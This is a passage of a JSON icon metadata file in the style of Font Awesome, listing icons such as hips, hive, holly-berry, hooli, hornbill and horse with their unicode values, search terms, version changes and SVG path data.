81c-9.4-9.4-9.4-24.6 0-33.9zm73 185a24 24 0 1 0 -48 0 24 24 0 1 0 48 0zm88 24a24 24 0 1 0 0-48 24 24 0 1 0 0 48zM480 144a16 16 0 1 0 -32 0 16 16 0 1 0 32 0zm48 16a16 16 0 1 0 0-32 16 16 0 1 0 0 32z"
      }
    },
    "free": ["solid"]
  },
  "hips": {
    "changes": ["5.0.5"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f452",
    "label": "Hips",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M251.6 157.6c0-1.9-.9-2.8-2.8-2.8h-40.9c-1.6 0-2.7 1.4-2.7 2.8v201.8c0 1.4 1.1 2.8 2.7 2.8h40.9c1.9 0 2.8-.9 2.8-2.8zM156.5 168c-16.1-11.8-36.3-17.9-60.3-18-18.1-.1-34.6 3.7-49.8 11.4V80.2c0-1.8-.9-2.7-2.8-2.7H2.7c-1.8 0-2.7.9-2.7 2.7v279.2c0 1.9.9 2.8 2.7 2.8h41c1.9 0 2.8-.9 2.8-2.8V223.3c0-.8-2.8-27 45.8-27 48.5 0 45.8 26.1 45.8 27v122.6c0 9 7.3 16.3 16.4 16.3h27.3c1.8 0 2.7-.9 2.7-2.8V223.3c0-23.4-9.3-41.8-28-55.3zm478.4 110.1c-6.8-15.7-18.4-27-34.9-34.1l-57.6-25.3c-8.6-3.6-9.2-11.2-2.6-16.1 7.4-5.5 44.3-13.9 84 6.8 1.7 1 4-.3 4-2.4v-44.7c0-1.3-.6-2.1-1.9-2.6-17.7-6.6-36.1-9.9-55.1-9.9-26.5 0-45.3 5.8-58.5 15.4-.5.4-28.4 20-22.7 53.7 3.4 19.6 15.8 34.2 37.2 43.6l53.6 23.5c11.6 5.1 15.2 13.3 12.2 21.2-3.7 9.1-13.2 13.6-36.5 13.6-24.3 0-44.7-8.9-58.4-19.1-2.1-1.4-4.4.2-4.4 2.3v34.4c0 10.4 4.9 17.3 14.6 20.7 15.6 5.5 31.6 8.2 48.2 8.2 12.7 0 25.8-1.2 36.3-4.3.7-.3 36-8.9 45.6-45.8 3.5-13.5 2.4-26.5-3.1-39.1zM376.2 149.8c-31.7 0-104.2 20.1-104.2 103.5v183.5c0 .8.6 2.7 2.7 2.7h40.9c1.9 0 2.8-.9 2.8-2.7V348c16.5 12.7 35.8 19.1 57.7 19.1 60.5 0 108.7-48.5 108.7-108.7.1-60.3-48.2-108.6-108.6-108.6zm0 170.9c-17.2 0-31.9-6.1-44-18.2-12.2-12.2-18.2-26.8-18.2-44 0-34.5 27.6-62.2 62.2-62.2 34.5 0 62.2 27.6 62.2 62.2.1 34.3-27.3 62.2-62.2 62.2zM228.3 72.5c-15.9 0-28.8 12.9-28.9 28.9 0 15.6 12.7 28.9 28.9 28.9s28.9-13.1 28.9-28.9c0-16.2-13-28.9-28.9-28.9z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M251.6 157.6c0-1.9-.9-2.8-2.8-2.8h-40.9c-1.6 0-2.7 1.4-2.7 2.8v201.8c0 1.4 1.1 2.8 2.7 2.8h40.9c1.9 0 2.8-.9 2.8-2.8zM156.5 168c-16.1-11.8-36.3-17.9-60.3-18-18.1-.1-34.6 3.7-49.8 11.4V80.2c0-1.8-.9-2.7-2.8-2.7H2.7c-1.8 0-2.7.9-2.7 2.7v279.2c0 1.9.9 2.8 2.7 2.8h41c1.9 0 2.8-.9 2.8-2.8V223.3c0-.8-2.8-27 45.8-27 48.5 0 45.8 26.1 45.8 27v122.6c0 9 7.3 16.3 16.4 16.3h27.3c1.8 0 2.7-.9 2.7-2.8V223.3c0-23.4-9.3-41.8-28-55.3zm478.4 110.1c-6.8-15.7-18.4-27-34.9-34.1l-57.6-25.3c-8.6-3.6-9.2-11.2-2.6-16.1 7.4-5.5 44.3-13.9 84 6.8 1.7 1 4-.3 4-2.4v-44.7c0-1.3-.6-2.1-1.9-2.6-17.7-6.6-36.1-9.9-55.1-9.9-26.5 0-45.3 5.8-58.5 15.4-.5.4-28.4 20-22.7 53.7 3.4 19.6 15.8 34.2 37.2 43.6l53.6 23.5c11.6 5.1 15.2 13.3 12.2 21.2-3.7 9.1-13.2 13.6-36.5 13.6-24.3 0-44.7-8.9-58.4-19.1-2.1-1.4-4.4.2-4.4 2.3v34.4c0 10.4 4.9 17.3 14.6 20.7 15.6 5.5 31.6 8.2 48.2 8.2 12.7 0 25.8-1.2 36.3-4.3.7-.3 36-8.9 45.6-45.8 3.5-13.5 2.4-26.5-3.1-39.1zM376.2 149.8c-31.7 0-104.2 20.1-104.2 103.5v183.5c0 .8.6 2.7 2.7 2.7h40.9c1.9 0 2.8-.9 2.8-2.7V348c16.5 12.7 35.8 19.1 57.7 19.1 60.5 0 108.7-48.5 108.7-108.7.1-60.3-48.2-108.6-108.6-108.6zm0 170.9c-17.2 0-31.9-6.1-44-18.2-12.2-12.2-18.2-26.8-18.2-44 0-34.5 27.6-62.2 62.2-62.2 34.5 0 62.2 27.6 62.2 62.2.1 34.3-27.3 62.2-62.2 62.2zM228.3 72.5c-15.9 0-28.8 12.9-28.9 28.9 0 15.6 12.7 28.9 28.9 28.9s28.9-13.1 28.9-28.9c0-16.2-13-28.9-28.9-28.9z"
      }
    },
    "free": ["brands"]
  },
  "hire-a-helper": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3b0",
    "label": "HireAHelper",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014481,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M443.1 0H71.9C67.9 37.3 37.4 67.8 0 71.7v371.5c37.4 4.9 66 32.4 71.9 68.8h372.2c3-36.4 32.5-65.8 67.9-69.8V71.7c-36.4-5.9-65-35.3-68.9-71.7zm-37 404.9c-36.3 0-18.8-2-55.1-2-35.8 0-21 2-56.1 2-5.9 0-4.9-8.2 0-9.8 22.8-7.6 22.9-10.2 24.6-12.8 10.4-15.6 5.9-83 5.9-113 0-5.3-6.4-12.8-13.8-12.8H200.4c-7.4 0-13.8 7.5-13.8 12.8 0 30-4.5 97.4 5.9 113 1.7 2.5 1.8 5.2 24.6 12.8 4.9 1.6 6 9.8 0 9.8-35.1 0-20.3-2-56.1-2-36.3 0-18.8 2-55.1 2-7.9 0-5.8-10.8 0-10.8 10.2-3.4 13.5-3.5 21.7-13.8 7.7-12.9 7.9-44.4 7.9-127.8V151.3c0-22.2-12.2-28.3-28.6-32.4-8.8-2.2-4-11.8 1-11.8 36.5 0 20.6 2 57.1 2 32.7 0 16.5-2 49.2-2 3.3 0 8.5 8.3 1 10.8-4.9 1.6-27.6 3.7-27.6 39.3 0 45.6-.2 55.8 1 68.8 0 1.3 2.3 12.8 12.8 12.8h109.2c10.5 0 12.8-11.5 12.8-12.8 1.2-13 1-23.2 1-68.8 0-35.6-22.7-37.7-27.6-39.3-7.5-2.5-2.3-10.8 1-10.8 32.7 0 16.5 2 49.2 2 36.5 0 20.6-2 57.1-2 4.9 0 9.9 9.6 1 11.8-16.4 4.1-28.6 10.3-28.6 32.4v101.2c0 83.4.1 114.9 7.9 127.8 8.2 10.2 11.4 10.4 21.7 13.8 5.8 0 7.8 10.8 0 10.8z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M443.1 0H71.9C67.9 37.3 37.4 67.8 0 71.7v371.5c37.4 4.9 66 32.4 71.9 68.8h372.2c3-36.4 32.5-65.8 67.9-69.8V71.7c-36.4-5.9-65-35.3-68.9-71.7zm-37 404.9c-36.3 0-18.8-2-55.1-2-35.8 0-21 2-56.1 2-5.9 0-4.9-8.2 0-9.8 22.8-7.6 22.9-10.2 24.6-12.8 10.4-15.6 5.9-83 5.9-113 0-5.3-6.4-12.8-13.8-12.8H200.4c-7.4 0-13.8 7.5-13.8 12.8 0 30-4.5 97.4 5.9 113 1.7 2.5 1.8 5.2 24.6 12.8 4.9 1.6 6 9.8 0 9.8-35.1 0-20.3-2-56.1-2-36.3 0-18.8 2-55.1 2-7.9 0-5.8-10.8 0-10.8 10.2-3.4 13.5-3.5 21.7-13.8 7.7-12.9 7.9-44.4 7.9-127.8V151.3c0-22.2-12.2-28.3-28.6-32.4-8.8-2.2-4-11.8 1-11.8 36.5 0 20.6 2 57.1 2 32.7 0 16.5-2 49.2-2 3.3 0 8.5 8.3 1 10.8-4.9 1.6-27.6 3.7-27.6 39.3 0 45.6-.2 55.8 1 68.8 0 1.3 2.3 12.8 12.8 12.8h109.2c10.5 0 12.8-11.5 12.8-12.8 1.2-13 1-23.2 1-68.8 0-35.6-22.7-37.7-27.6-39.3-7.5-2.5-2.3-10.8 1-10.8 32.7 0 16.5 2 49.2 2 36.5 0 20.6-2 57.1-2 4.9 0 9.9 9.6 1 11.8-16.4 4.1-28.6 10.3-28.6 32.4v101.2c0 83.4.1 114.9 7.9 127.8 8.2 10.2 11.4 10.4 21.7 13.8 5.8 0 7.8 10.8 0 10.8z"
      }
    },
    "free": ["brands"]
  },
  "hive": {
    "changes": ["5.15.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e07f",
    "label": "Hive Blockchain Network",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M260.353,254.878,131.538,33.1a2.208,2.208,0,0,0-3.829.009L.3,254.887A2.234,2.234,0,0,0,.3,257.122L129.116,478.9a2.208,2.208,0,0,0,3.83-.009L260.358,257.113A2.239,2.239,0,0,0,260.353,254.878Zm39.078-25.713a2.19,2.19,0,0,0,1.9,1.111h66.509a2.226,2.226,0,0,0,1.9-3.341L259.115,33.111a2.187,2.187,0,0,0-1.9-1.111H190.707a2.226,2.226,0,0,0-1.9,3.341ZM511.7,254.886,384.9,33.112A2.2,2.2,0,0,0,382.99,32h-66.6a2.226,2.226,0,0,0-1.906,3.34L440.652,256,314.481,476.66a2.226,2.226,0,0,0,1.906,3.34h66.6a2.2,2.2,0,0,0,1.906-1.112L511.7,257.114A2.243,2.243,0,0,0,511.7,254.886ZM366.016,284.917H299.508a2.187,2.187,0,0,0-1.9,1.111l-108.8,190.631a2.226,2.226,0,0,0,1.9,3.341h66.509a2.187,2.187,0,0,0,1.9-1.111l108.8-190.631A2.226,2.226,0,0,0,366.016,284.917Z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M260.353,254.878,131.538,33.1a2.208,2.208,0,0,0-3.829.009L.3,254.887A2.234,2.234,0,0,0,.3,257.122L129.116,478.9a2.208,2.208,0,0,0,3.83-.009L260.358,257.113A2.239,2.239,0,0,0,260.353,254.878Zm39.078-25.713a2.19,2.19,0,0,0,1.9,1.111h66.509a2.226,2.226,0,0,0,1.9-3.341L259.115,33.111a2.187,2.187,0,0,0-1.9-1.111H190.707a2.226,2.226,0,0,0-1.9,3.341ZM511.7,254.886,384.9,33.112A2.2,2.2,0,0,0,382.99,32h-66.6a2.226,2.226,0,0,0-1.906,3.34L440.652,256,314.481,476.66a2.226,2.226,0,0,0,1.906,3.34h66.6a2.2,2.2,0,0,0,1.906-1.112L511.7,257.114A2.243,2.243,0,0,0,511.7,254.886ZM366.016,284.917H299.508a2.187,2.187,0,0,0-1.9,1.111l-108.8,190.631a2.226,2.226,0,0,0,1.9,3.341h66.509a2.187,2.187,0,0,0,1.9-1.111l108.8-190.631A2.226,2.226,0,0,0,366.016,284.917Z"
      }
    },
    "free": ["brands"]
  },
  "hockey-puck": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f453"]
      }
    },
    "changes": ["5.0.5", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["ice", "nhl", "sport"]
    },
    "styles": ["solid"],
    "unicode": "f453",
    "label": "Hockey Puck",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767071,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 256C114.6 256 0 213 0 160s114.6-96 256-96s256 43 256 96s-114.6 96-256 96zm192.3 1.8c24.7-9.3 46.9-21 63.7-35.6V352c0 53-114.6 96-256 96S0 405 0 352V222.3c16.8 14.6 39 26.3 63.7 35.6C114.5 276.9 182.5 288 256 288s141.5-11.1 192.3-30.2z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 256C114.6 256 0 213 0 160s114.6-96 256-96s256 43 256 96s-114.6 96-256 96zm192.3 1.8c24.7-9.3 46.9-21 63.7-35.6V352c0 53-114.6 96-256 96S0 405 0 352V222.3c16.8 14.6 39 26.3 63.7 35.6C114.5 276.9 182.5 288 256 288s141.5-11.1 192.3-30.2z"
      }
    },
    "free": ["solid"]
  },
  "holly-berry": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f7aa"]
      }
    },
    "changes": ["5.6.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "catwoman",
        "christmas",
        "decoration",
        "flora",
        "halle",
        "holiday",
        "ororo munroe",
        "plant",
        "storm",
        "xmas"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7aa",
    "label": "Holly Berry",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm-80 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM276.8 383.8c1 .1 2.1 .2 3.2 .2c39.8 0 72 32.2 72 72v22.7c0 16.4 16 27.9 31.6 22.8l12.8-4.3c18-6 37.3-6.5 55.6-1.5l19.4 5.3c17.9 4.9 34.4-11.6 29.5-29.5L495.6 452c-5-18.3-4.4-37.6 1.5-55.6l4.3-12.8c5.2-15.5-6.4-31.6-22.8-31.6c-34.6 0-62.7-28.1-62.7-62.7v-32c0-16.4-16-27.9-31.6-22.8l-12.8 4.3c-18 6-37.3 6.5-55.6 1.5l-29.6-8.1c-2.9-.8-5.9-1-8.7-.7c4.2 9.7 5.8 20.8 3.7 32.3L275 298.7c-1.5 8.4-1.4 17 .5 25.3l5.3 23.9c2.8 12.7 1.1 25.2-4 35.9zM127.6 234.5c-15.5-5.2-31.6 6.4-31.6 22.8v32C96 323.9 67.9 352 33.3 352c-16.4 0-27.9 16-22.8 31.6l4.3 12.8c6 18 6.5 37.3 1.5 55.6l-5.3 19.4C6.2 489.4 22.6 505.8 40.5 501L60 495.6c18.3-5 37.6-4.5 55.6 1.5l12.8 4.3c15.5 5.2 31.6-6.4 31.6-22.8v-32c0-34.6 28.1-62.7 62.7-62.7c16.4 0 27.9-16 22.8-31.6l-4.3-12.8c-6-18-6.5-37.3-1.5-55.6l5.3-19.4c4.9-17.9-11.6-34.4-29.5-29.5L196 240.4c-18.3 5-37.6 4.4-55.6-1.5l-12.8-4.3zM384 144a48 48 0 1 0 -96 0 48 48 0 1 0 96 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zm-80 96a48 48 0 1 0 0-96 48 48 0 1 0 0 96zM276.8 383.8c1 .1 2.1 .2 3.2 .2c39.8 0 72 32.2 72 72v22.7c0 16.4 16 27.9 31.6 22.8l12.8-4.3c18-6 37.3-6.5 55.6-1.5l19.4 5.3c17.9 4.9 34.4-11.6 29.5-29.5L495.6 452c-5-18.3-4.4-37.6 1.5-55.6l4.3-12.8c5.2-15.5-6.4-31.6-22.8-31.6c-34.6 0-62.7-28.1-62.7-62.7v-32c0-16.4-16-27.9-31.6-22.8l-12.8 4.3c-18 6-37.3 6.5-55.6 1.5l-29.6-8.1c-2.9-.8-5.9-1-8.7-.7c4.2 9.7 5.8 20.8 3.7 32.3L275 298.7c-1.5 8.4-1.4 17 .5 25.3l5.3 23.9c2.8 12.7 1.1 25.2-4 35.9zM127.6 234.5c-15.5-5.2-31.6 6.4-31.6 22.8v32C96 323.9 67.9 352 33.3 352c-16.4 0-27.9 16-22.8 31.6l4.3 12.8c6 18 6.5 37.3 1.5 55.6l-5.3 19.4C6.2 489.4 22.6 505.8 40.5 501L60 495.6c18.3-5 37.6-4.5 55.6 1.5l12.8 4.3c15.5 5.2 31.6-6.4 31.6-22.8v-32c0-34.6 28.1-62.7 62.7-62.7c16.4 0 27.9-16 22.8-31.6l-4.3-12.8c-6-18-6.5-37.3-1.5-55.6l5.3-19.4c4.9-17.9-11.6-34.4-29.5-29.5L196 240.4c-18.3 5-37.6 4.4-55.6-1.5l-12.8-4.3zM384 144a48 48 0 1 0 -96 0 48 48 0 1 0 96 0z"
      }
    },
    "free": ["solid"]
  },
  "hooli": {
    "changes": ["5.0.0", "5.7.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f427",
    "label": "Hooli",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014483,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M144.5 352l38.3.8c-13.2-4.6-26-10.2-38.3-16.8zm57.7-5.3v5.3l-19.4.8c36.5 12.5 69.9 14.2 94.7 7.2-19.9.2-45.8-2.6-75.3-13.3zm408.9-115.2c15.9 0 28.9-12.9 28.9-28.9s-12.9-24.5-28.9-24.5c-15.9 0-28.9 8.6-28.9 24.5s12.9 28.9 28.9 28.9zm-29 120.5H640V241.5h-57.9zm-73.7 0h57.9V156.7L508.4 184zm-31-119.4c-18.2-18.2-50.4-17.1-50.4-17.1s-32.3-1.1-50.4 17.1c-18.2 18.2-16.8 33.9-16.8 52.6s-1.4 34.3 16.8 52.5 50.4 17.1 50.4 17.1 32.3 1.1 50.4-17.1c18.2-18.2 16.8-33.8 16.8-52.5-.1-18.8 1.3-34.5-16.8-52.6zm-39.8 71.9c0 3.6-1.8 12.5-10.7 12.5s-10.7-8.9-10.7-12.5v-40.4c0-8.7 7.3-10.9 10.7-10.9s10.7 2.1 10.7 10.9zm-106.2-71.9c-18.2-18.2-50.4-17.1-50.4-17.1s-32.2-1.1-50.4 17.1c-1.9 1.9-3.7 3.9-5.3 6-38.2-29.6-72.5-46.5-102.1-61.1v-20.7l-22.5 10.6c-54.4-22.1-89-18.2-97.3.1 0 0-24.9 32.8 61.8 110.8V352h57.9v-28.6c-6.5-4.2-13-8.7-19.4-13.6-14.8-11.2-27.4-21.6-38.4-31.4v-31c13.1 14.7 30.5 31.4 53.4 50.3l4.5 3.6v-29.8c0-6.9 1.7-18.2 10.8-18.2s10.6 6.9 10.6 15V317c18 12.2 37.3 22.1 57.7 29.6v-93.9c0-18.7-13.4-37.4-40.6-37.4-15.8-.1-30.5 8.2-38.5 21.9v-54.3c41.9 20.9 83.9 46.5 99.9 58.3-10.2 14.6-9.3 28.1-9.3 43.7 0 18.7-1.4 34.3 16.8 52.5s50.4 17.1 50.4 17.1 32.3 1.1 50.4-17.1c18.2-18.2 16.7-33.8 16.7-52.5 0-18.5 1.5-34.2-16.7-52.3zM65.2 184v63.3c-48.7-54.5-38.9-76-35.2-79.1 13.5-11.4 37.5-8 64.4 2.1zm226.5 120.5c0 3.6-1.8 12.5-10.7 12.5s-10.7-8.9-10.7-12.5v-40.4c0-8.7 7.3-10.9 10.7-10.9s10.7 2.1 10.7 10.9z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M144.5 352l38.3.8c-13.2-4.6-26-10.2-38.3-16.8zm57.7-5.3v5.3l-19.4.8c36.5 12.5 69.9 14.2 94.7 7.2-19.9.2-45.8-2.6-75.3-13.3zm408.9-115.2c15.9 0 28.9-12.9 28.9-28.9s-12.9-24.5-28.9-24.5c-15.9 0-28.9 8.6-28.9 24.5s12.9 28.9 28.9 28.9zm-29 120.5H640V241.5h-57.9zm-73.7 0h57.9V156.7L508.4 184zm-31-119.4c-18.2-18.2-50.4-17.1-50.4-17.1s-32.3-1.1-50.4 17.1c-18.2 18.2-16.8 33.9-16.8 52.6s-1.4 34.3 16.8 52.5 50.4 17.1 50.4 17.1 32.3 1.1 50.4-17.1c18.2-18.2 16.8-33.8 16.8-52.5-.1-18.8 1.3-34.5-16.8-52.6zm-39.8 71.9c0 3.6-1.8 12.5-10.7 12.5s-10.7-8.9-10.7-12.5v-40.4c0-8.7 7.3-10.9 10.7-10.9s10.7 2.1 10.7 10.9zm-106.2-71.9c-18.2-18.2-50.4-17.1-50.4-17.1s-32.2-1.1-50.4 17.1c-1.9 1.9-3.7 3.9-5.3 6-38.2-29.6-72.5-46.5-102.1-61.1v-20.7l-22.5 10.6c-54.4-22.1-89-18.2-97.3.1 0 0-24.9 32.8 61.8 110.8V352h57.9v-28.6c-6.5-4.2-13-8.7-19.4-13.6-14.8-11.2-27.4-21.6-38.4-31.4v-31c13.1 14.7 30.5 31.4 53.4 50.3l4.5 3.6v-29.8c0-6.9 1.7-18.2 10.8-18.2s10.6 6.9 10.6 15V317c18 12.2 37.3 22.1 57.7 29.6v-93.9c0-18.7-13.4-37.4-40.6-37.4-15.8-.1-30.5 8.2-38.5 21.9v-54.3c41.9 20.9 83.9 46.5 99.9 58.3-10.2 14.6-9.3 28.1-9.3 43.7 0 18.7-1.4 34.3 16.8 52.5s50.4 17.1 50.4 17.1 32.3 1.1 50.4-17.1c18.2-18.2 16.7-33.8 16.7-52.5 0-18.5 1.5-34.2-16.7-52.3zM65.2 184v63.3c-48.7-54.5-38.9-76-35.2-79.1 13.5-11.4 37.5-8 64.4 2.1zm226.5 120.5c0 3.6-1.8 12.5-10.7 12.5s-10.7-8.9-10.7-12.5v-40.4c0-8.7 7.3-10.9 10.7-10.9s10.7 2.1 10.7 10.9z"
      }
    },
    "free": ["brands"]
  },
  "hornbill": {
    "changes": ["5.1.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f592",
    "label": "Hornbill",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M76.38 370.3a37.8 37.8 0 1 1-32.07-32.42c-78.28-111.35 52-190.53 52-190.53-5.86 43-8.24 91.16-8.24 91.16-67.31 41.49.93 64.06 39.81 72.87a140.38 140.38 0 0 0 131.66 91.94c1.92 0 3.77-.21 5.67-.28l.11 18.86c-99.22 1.39-158.7-29.14-188.94-51.6zm108-327.7A37.57 37.57 0 0 0 181 21.45a37.95 37.95 0 1 0-31.17 54.22c-22.55 29.91-53.83 89.57-52.42 190l21.84-.15c0-.9-.14-1.77-.14-2.68A140.42 140.42 0 0 1 207 132.71c8-37.71 30.7-114.3 73.8-44.29 0 0 48.14 2.38 91.18 8.24 0 0-77.84-128-187.59-54.06zm304.19 134.17a37.94 37.94 0 1 0-53.84-28.7C403 126.13 344.89 99 251.28 100.33l.14 22.5c2.7-.15 5.39-.41 8.14-.41a140.37 140.37 0 0 1 130.49 88.76c39.1 9 105.06 31.58 38.46 72.54 0 0-2.34 48.13-8.21 91.16 0 0 133.45-81.16 49-194.61a37.45 37.45 0 0 0 19.31-3.5zM374.06 436.24c21.43-32.46 46.42-89.69 45.14-179.66l-19.52.14c.08 2.06.3 4.07.3 6.15a140.34 140.34 0 0 1-91.39 131.45c-8.85 38.95-31.44 106.66-72.77 39.49 0 0-48.12-2.34-91.19-8.22 0 0 79.92 131.34 191.9 51a37.5 37.5 0 0 0 3.64 14 37.93 37.93 0 1 0 33.89-54.29z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M76.38 370.3a37.8 37.8 0 1 1-32.07-32.42c-78.28-111.35 52-190.53 52-190.53-5.86 43-8.24 91.16-8.24 91.16-67.31 41.49.93 64.06 39.81 72.87a140.38 140.38 0 0 0 131.66 91.94c1.92 0 3.77-.21 5.67-.28l.11 18.86c-99.22 1.39-158.7-29.14-188.94-51.6zm108-327.7A37.57 37.57 0 0 0 181 21.45a37.95 37.95 0 1 0-31.17 54.22c-22.55 29.91-53.83 89.57-52.42 190l21.84-.15c0-.9-.14-1.77-.14-2.68A140.42 140.42 0 0 1 207 132.71c8-37.71 30.7-114.3 73.8-44.29 0 0 48.14 2.38 91.18 8.24 0 0-77.84-128-187.59-54.06zm304.19 134.17a37.94 37.94 0 1 0-53.84-28.7C403 126.13 344.89 99 251.28 100.33l.14 22.5c2.7-.15 5.39-.41 8.14-.41a140.37 140.37 0 0 1 130.49 88.76c39.1 9 105.06 31.58 38.46 72.54 0 0-2.34 48.13-8.21 91.16 0 0 133.45-81.16 49-194.61a37.45 37.45 0 0 0 19.31-3.5zM374.06 436.24c21.43-32.46 46.42-89.69 45.14-179.66l-19.52.14c.08 2.06.3 4.07.3 6.15a140.34 140.34 0 0 1-91.39 131.45c-8.85 38.95-31.44 106.66-72.77 39.49 0 0-48.12-2.34-91.19-8.22 0 0 79.92 131.34 191.9 51a37.5 37.5 0 0 0 3.64 14 37.93 37.93 0 1 0 33.89-54.29z"
      }
    },
    "free": ["brands"]
  },
  "horse": {
    "aliases": {
      "unicodes": {
        "composite": ["1f40e"],
        "secondary": ["10f6f0"]
      }
    },
    "changes": ["5.4.0", "5.10.1", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "equestrian",
        "equus",
        "fauna",
        "horse",
        "mammmal",
        "mare",
        "neigh",
        "pony",
        "racehorse",
        "racing"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6f0",
    "label": "Horse",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768131,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M448 238.1V160h16l9.8 19.6c12.5 25.1 42.2 36.4 68.3 26c20.5-8.2 33.9-28 33.9-50.1V80c0-19.1-8.4-36.3-21.7-48H560c8.8 0 16-7.2 16-16s-7.2-16-16-16H480 448C377.3 0 320 57.3 320 128H224 203.2 148.8c-30.7 0-57.6 16.3-72.5 40.8C33.2 174.5 0 211.4 0 256v56c0 13.3 10.7 24 24 24s24-10.7 24-24V256c0-13.4 6.6-25.2 16.7-32.5c1.6 13 6.3 25.4 13.6 36.4l28.2 42.4c8.3 12.4 6.4 28.7-1.2 41.6c-16.5 28-20.6 62.2-10 93.9l17.5 52.4c4.4 13.1 16.6 21.9 30.4 21.9h33.7c21.8 0 37.3-21.4 30.4-42.1l-20.8-62.5c-2.1-6.4-.5-13.4 4.3-18.2l12.7-12.7c13.2-13.2 20.6-31.1 20.6-49.7c0-2.3-.1-4.6-.3-6.9l84 24c4.1 1.2 8.2 2.1 12.3 2.8V480c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V315.7c19.2-19.2 31.5-45.7 32-75.7h0v-1.9zM496 64a16 16 0 1 1 0 32 16 16 0 1 1 0-32z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M448 238.1V160h16l9.8 19.6c12.5 25.1 42.2 36.4 68.3 26c20.5-8.2 33.9-28 33.9-50.1V80c0-19.1-8.4-36.3-21.7-48H560c8.8 0 16-7.2 16-16s-7.2-16-16-16H480 448C377.3 0 320 57.3 320 128H224 203.2 148.8c-30.7 0-57.6 16.3-72.5 40.8C33.2 174.5 0 211.4 0 256v56c0 13.3 10.7 24 24 24s24-10.7 24-24V256c0-13.4 6.6-25.2 16.7-32.5c1.6 13 6.3 25.4 13.6 36.4l28.2 42.4c8.3 12.4 6.4 28.7-1.2 41.6c-16.5 28-20.6 62.2-10 93.9l17.5 52.4c4.4 13.1 16.6 21.9 30.4 21.9h33.7c21.8 0 37.3-21.4 30.4-42.1l-20.8-62.5c-2.1-6.4-.5-13.4 4.3-18.2l12.7-12.7c13.2-13.2 20.6-31.1 20.6-49.7c0-2.3-.1-4.6-.3-6.9l84 24c4.1 1.2 8.2 2.1 12.3 2.8V480c0 17.7 14.3 32 32 32h32c17.7 0 32-14.3 32-32V315.7c19.2-19.2 31.5-45.7 32-75.7h0v-1.9zM496 64a16 16 0 1 1 0 32 16 16 0 1 1 0-32z"
      }
    },
    "free": ["solid"]
  },
  "horse-head": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f7ab"]
      }
    },
    "changes": ["5.6.0", "5.10.1", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["equus", "fauna", "mammmal", "mare", "neigh", "pony"]
    },
    "styles": ["solid"],
    "unicode": "f7ab",
    "label": "Horse Head",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768130,
